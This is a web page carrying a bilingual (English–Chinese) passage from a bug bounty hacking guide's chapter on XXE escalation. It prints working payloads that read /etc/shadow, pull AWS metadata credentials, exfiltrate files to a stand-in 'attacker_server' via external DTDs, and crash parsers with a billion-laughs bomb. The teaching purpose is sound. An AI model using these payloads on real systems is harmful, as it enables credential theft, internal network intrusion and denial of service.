- The Guide to Finding and Reporting Web Vulnerabilities
- About the Author
- About the Tech Reviewer
- Foreword
- Introduction
- Who This Book Is For
- What Is In This Book
- Happy Hacking!
- 1 Picking a Bug Bounty Program
- 2 Sustaining Your Success
- 3 How the Internet Works
- 4 Environmental Setup and Traffic Interception
- 5 Web Hacking Reconnaissance
- 6 Cross-Site Scripting
- 7 Open Redirects
- 8 Clickjacking
- 9 Cross-Site Request Forgery
- 10 Insecure Direct Object References
- 11 SQL Injection
- 12 Race Conditions
- 13 Server-Side Request Forgery
- 14 Insecure Deserialization
- 15 XML External Entity
- 16 Template Injection
- 17 Application Logic Errors and Broken Access Control
- 18 Remote Code Execution
- 19 Same-Origin Policy Vulnerabilities
- 20 Single-Sign-On Security Issues
- 21 Information Disclosure
- 22 Conducting Code Reviews
- 23 Hacking Android Apps
- 24 API Hacking
- 25 Automatic Vulnerability Discovery Using Fuzzers
Escalating the Attack
What you can achieve with an XXE vulnerability depends on the permissions given to the XML parser. Generally, you can use XXEs to access and exfiltrate system files, source code, and directory listings on the local machine. You can also use XXEs to perform SSRF attacks to port-scan the target’s network, read files on the network, and access resources that are hidden behind a firewall. Finally, attackers sometimes use XXEs to launch DoS attacks.
使用 XXE 漏洞可以获得的权限取决于 XML 解析器授予的权限。通常,您可以使用 XXE 来访问和窃取本地机器上的系统文件、源代码和目录列表。您还可以使用 XXE 执行 SSRF 攻击来端口扫描目标网络、读取网络上的文件以及访问隐藏在防火墙后的资源。最后,攻击者有时使用 XXE 启动 DoS 攻击。
Reading Files
To read local files by using an XXE vulnerability, place the local file’s path into the DTD of the parsed XML file. Local files can be accessed by using the file:// URL scheme followed by the file’s path on the machine. This payload will make the XML parser return the contents of the /etc/shadow file on the server:
使用 XXE 漏洞读取本地文件,将本地文件路径放入已解析 XML 文件的 DTD 中。可以使用文件:// URL 方案后跟该机器上的文件路径来访问本地文件。此有效载荷将使 XML 解析器返回服务器上/ etc / shadow 文件的内容。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:///etc/shadow">
]>
<example>&file;</example>
Launching an SSRF
Besides retrieving system files, you can use the XXE vulnerability to launch SSRF attacks against the local network. For example, you can launch a port scan by switching out the external entity’s URL with different ports on the target machine. This is similar to the port-scanning technique mentioned in Chapter 13 , where you can determine the status of a port by analyzing differences in the server’s responses:
除了检索系统文件外,您还可以使用 XXE 漏洞发起针对本地网络的 SSRF 攻击。例如,您可以通过在目标机器上使用不同的端口替换外部实体的 URL 来发起端口扫描。这类似于第 13 章提到的端口扫描技术,通过分析服务器响应中的差异可以确定端口的状态。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "http://10.0.0.1:80">
]>
<example>&file;</example>
You can also use an XXE to launch an SSRF to pull instance metadata, as we talked about in Chapter 13 . This payload will make the parser return AWS metadata:
您还可以使用 XXE 进行 SSRF 启动来提取实例元数据,就像我们在第 13 章中讨论的那样。此有效载荷将导致解析器返回 AWS 元数据。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<example>&file;</example>
When trying to view unintended data like this, you should look for the exfiltrated data by inspecting the page source code (right-click the page and click View Source ) or HTTP response directly, rather than viewing the HTML page rendered by the browser, because the browser might not render the page correctly.
当尝试查看意外数据时,应该通过检查页面源代码(右键单击页面并单击“查看源代码”)或直接查看 HTTP 响应来查找渗透的数据,而不是查看浏览器呈现的 HTML 页面,因为浏览器可能无法正确呈现该页面。
Of course, what you can do with an XXE-based SSRF isn’t simply limited to network scanning and retrieving instance metadata. You can also use the information you gathered to pivot into internal services. For more ideas of how to exploit SSRFs, visit Chapter 13 .
当然,通过基于 XXE 的 SSRF,您可以做的不仅仅局限于网络扫描和检索实例元数据。您还可以使用收集的信息来进入内部服务。有关如何利用 SSRF 的更多想法,请访问第 13 章。
Using Blind XXEs
Sometimes the application does not return the results of XML parsing to the user. In this case, you can still exfiltrate data to a server that you control by forcing the XML parser to make an external request with the desired data in the request URL—the blind XXE attacks mentioned earlier. Then you can monitor your server logs to retrieve the exfiltrated data. At this point, you might think the payload of a blind XXE looks like this:
有时,应用程序不能向用户返回 XML 解析的结果。 在这种情况下,您仍可以通过强制 XML 解析器在请求 URL 中进行外部请求并将所需数据包含在其中,从而将数据窃取到您控制的服务器上 - 就像先前提到的盲目 XXE 攻击一样。 然后,您可以监视您的服务器日志以检索窃取的数据。 这时,您可能认为盲目 XXE 的有效载荷看起来像这样:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY file SYSTEM "file:///etc/shadow">
<!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file">
]>
<example>&exfiltrate;</example>
This payload is meant to exfiltrate the /etc/shadow file on the server by making a request to the attacker’s server with the file’s contents in a URL parameter. The payload first defines an external entity file
that contains the contents of the local /etc/shadow file. Then it makes a request to the attacker’s server with the contents of that file in the request’s URL parameter.
该有效载荷旨在通过在请求的 URL 参数中使用文件内容向攻击者的服务器请求服务器上的/etc/shadow 文件。有效载荷首先定义一个包含本地/etc/shadow 文件内容的外部实体文件,然后使用该文件的内容向攻击者的服务器发送请求。
However, this attack probably wouldn’t work, because most parsers do not allow external entities to be included in other external entities. And parsers would stop processing the DTD once they encounter this line: <!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file">
. So exfiltrating data by using a blind XXE is a bit more complicated than in a classic XXE.
然而,这种攻击很可能不起作用,因为大多数解析器不允许在其他外部实体中包含外部实体。一旦遇到这行代码:<!ENTITY exfiltrate SYSTEM "http://attacker_server/?&file">,解析器就会停止处理 DTD。因此,使用盲 XXE 泄露数据比传统 XXE 要复杂一些。
Fortunately, XML DTDs have a feature called parameter entities that we can use instead. Parameter entities are XML entities that can be referenced only elsewhere within the DTD. They are declared and referenced with a percent ( %
) character. For example, the blind XXE payload I introduced earlier can be rewritten as follows:
幸运的是,XML DTD 具有参数实体的功能,我们可以使用它来替代。参数实体是只能在 DTD 内的其他地方引用的 XML 实体。它们是通过百分号(%) 字符声明和引用的。例如,我之前介绍的盲目 XXE 负载可以重写为下面的形式:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % file SYSTEM "file:///etc/shadow"> 1
<!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>"> 2
%ent;
%exfiltrate;
]>
This DTD first declares a parameter entity called file
that contains the file contents of /etc/shadow 1 . Then it declares a parameter entity named ent
that contains a dynamic declaration of another parameter entity called exfiltrate
2 . %
is the hex-encoded version of the percent sign ( %
). Depending on your target, hex encoding is sometimes needed for special characters within dynamic declarations. The exfiltrate
entity points to the attacker’s server with the contents of /etc/shadow in the URL parameter. Finally, the DTD references ent
to declare the exfiltrate
entity and then references exfiltrate
to trigger the outbound request.
此 DTD 首先声明一个名为 file 的参数实体,其中包含/etc/shadow 的文件内容 1。然后声明一个名为 ent 的参数实体,其中包含对另一个名为 exfiltrate 的参数实体的动态声明 2。%是百分号(%)的十六进制编码版本。根据您的目标,动态声明中的特殊字符有时需要进行十六进制编码。exfiltrate 实体使用 URL 参数将内容指向攻击者服务器上的/etc/shadow。最后,DTD 引用 ent 声明 exfiltrate 实体,然后引用 exfiltrate 触发出站请求。
But if you try to upload this payload to a target, you might notice that it does not work. This is because, according to XML specifications, parameter entities are treated differently in inline DTDs (DTDs within the XML document specified within the DOCTYPE
tag) and external DTDs (a separate DTD hosted elsewhere). Within inline DTDs, parameter entities cannot be referenced within markups, so this line wouldn’t work: <!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>
, whereas in external DTDs, no such restriction exists.
但是,如果您尝试将此有效载荷上传到目标,您可能会注意到它无法工作。这是因为根据 XML 规范,在内联 DTD(在 DOCTYPE 标记指定的 XML 文档内的 DTD)和外部 DTD(另一个托管在其他地方的 DTD)中,参数实体的处理方式不同。在内联 DTD 中,标记内部无法引用参数实体,因此此行不起作用:<!ENTITY - exfiltrate SYSTEM 'http://attacker_server/?%file;'>,而在外部 DTD 中,不存在这样的限制。
To exfiltrate data via a blind XXE, you have to overcome this restriction by hosting an external DTD on your server. Try hosting a file named xxe.dtd on your server:
通过盲 XXE 渗透数据,您需要通过在服务器上托管外部 DTD 来克服此限制。请尝试在您的服务器上托管名为 xxe.dtd 的文件。
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY % exfiltrate SYSTEM 'http://attacker_server/?%file;'>">
%ent;
%exfiltrate;
Then make the target parser interpret your DTD by specifying it within a parameter entity and referencing that entity:
然后通过在参数实体内指定它并引用该实体来使目标分析器解释您的 DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">
%xxe;
]>
This way, the target server will parse the submitted XML file and notice that a parameter entity is referencing an external file. Then the target server will retrieve and parse that external DTD, so your payload will execute, and the target will send the exfiltrated data back to your server. Here, we are exfiltrating the contents of the file /etc/shadow as a URL parameter in a request to the attacker’s server.
这样,目标服务器将会解析提交的 XML 文件并注意到参数实体正在引用外部文件。然后目标服务器将检索和解析该外部 DTD,因此您的有效负载将执行并将结果发送回您的服务器。在这里,我们将文件/ etc / shadow 的内容作为 URL 参数从攻击者的服务器请求中渗透出来。
Notice that in this attack, we used only parameter entities and did not use external entities at all! If the parser blocks external entities or limits the referencing of entities to protect against XXE, you can use this technique as well. However, this strategy can exfiltrate only a single line of the target file, because the newline character ( \n
) within target files will interrupt the outbound URL and may even cause the HTTP request to fail.
请注意,在这种攻击中,我们仅使用参数实体,没有使用任何外部实体!如果分析器阻止外部实体或限制参考实体以保护免受 XXE 的影响,则也可以使用此技术。然而,这种策略仅能窃取目标文件的单行文本,因为目标文件中的换行符(\n)将打断出站 URL,甚至可能导致 HTTP 请求失效。
An easier way to exfiltrate data via a blind XXE is by forcing the parser to return a descriptive error message. For example, you can induce a File Not Found error by referencing a nonexistent file as the value of an external entity. Your external DTD can be rewritten as follows:
通过强制解析器返回详细的错误消息,可以更轻松地通过盲 XXE 泄露数据。例如,您可以通过将不存在的文件引用为外部实体的值来引起"文件未找到"错误。您的外部 DTD 可以重写为以下方式:
<!ENTITY % file SYSTEM "file:///etc/shadow">
<!ENTITY % ent "<!ENTITY % error SYSTEM 'file:///nonexistent/?%file;'>">
%ent;
%error;
Notice that I included the contents of /etc/shadow in the URL parameter of the nonexistent filepath. Then you can submit the same payload to the target to trigger the attack:
请注意,我在不存在的文件路径的 URL 参数中包含了/etc/shadow 的内容。然后你可以将相同的 Payload 提交到目标上触发攻击:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ENTITY % xxe SYSTEM "http://attacker_server/xxe.dtd">
%xxe;
]>
This malicious DTD will cause the parser to deliver the desired file contents as a File Not Found error:
这个恶意的 DTD 会导致解析器将所需的文件内容作为“找不到文件”的错误发送:
java.io.FileNotFoundException: file:///nonexistent/FILE CONTENTS OF /etc/shadow
Performing Denial-of-Service Attacks
Another potential way that attackers can exploit XML vulnerabilities is to launch denial-of-service attacks, which disrupt the machine so that legitimate users cannot access its services. Note that you should never try this on a live target! Testing for DoS on a live target can cause the organization financial loss and is usually against companies’ bug bounty policies:
攻击者利用 XML 漏洞的另一种潜在方式是发动拒绝服务攻击,使机器瘫痪,以致合法用户无法访问其服务。请注意,你绝不应该在现场目标上尝试此类攻击!对现场目标进行 DoS 测试可能会导致组织财务损失,并且通常违反公司的漏洞赏金政策:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE example [
<!ELEMENT example ANY>
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<example>&lol9;</example>
This payload embeds entities within entities, causing the XML parser to recursively dereference entities to get to the root entity value lol
. Each lol9
entity would be expanded into 10 lol8
values, and each of those would become 10 lol7
s, and so on. Eventually, a single lol9
will be expanded into one billion lol
s. This will overload the memory of the XML parser, potentially causing it to crash.
此有效负载将实体嵌入到实体中,导致 XML 解析器递归引用实体以获取根实体值。每个 lol9 实体将扩展为 10 个 lol8 值,每个值都将变成 10 个 lol7,依此类推。最终,一个单独的 lol9 将会扩展为十亿个 lol。这将使 XML 解析器的内存超载,可能导致崩溃。
This attack method is also called a billion laughs attack or an XML bomb . The example here is taken from Wikipedia, where you can read more about the attack: https://en.wikipedia.org/wiki/Billion_laughs_attack . Interestingly, although this attack is often classified as an XXE attack, it does not involve the use of any external entities!
这种攻击方法也被称为“十亿笑声攻击”或“XML 炸弹”。这里的示例取自维基百科,您可以在此阅读更多关于该攻击的信息:https://en.wikipedia.org/wiki/Billion_laughs_attack。有趣的是,虽然这种攻击通常被归类为 XXE 攻击,但它并不涉及使用任何外部实体!
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论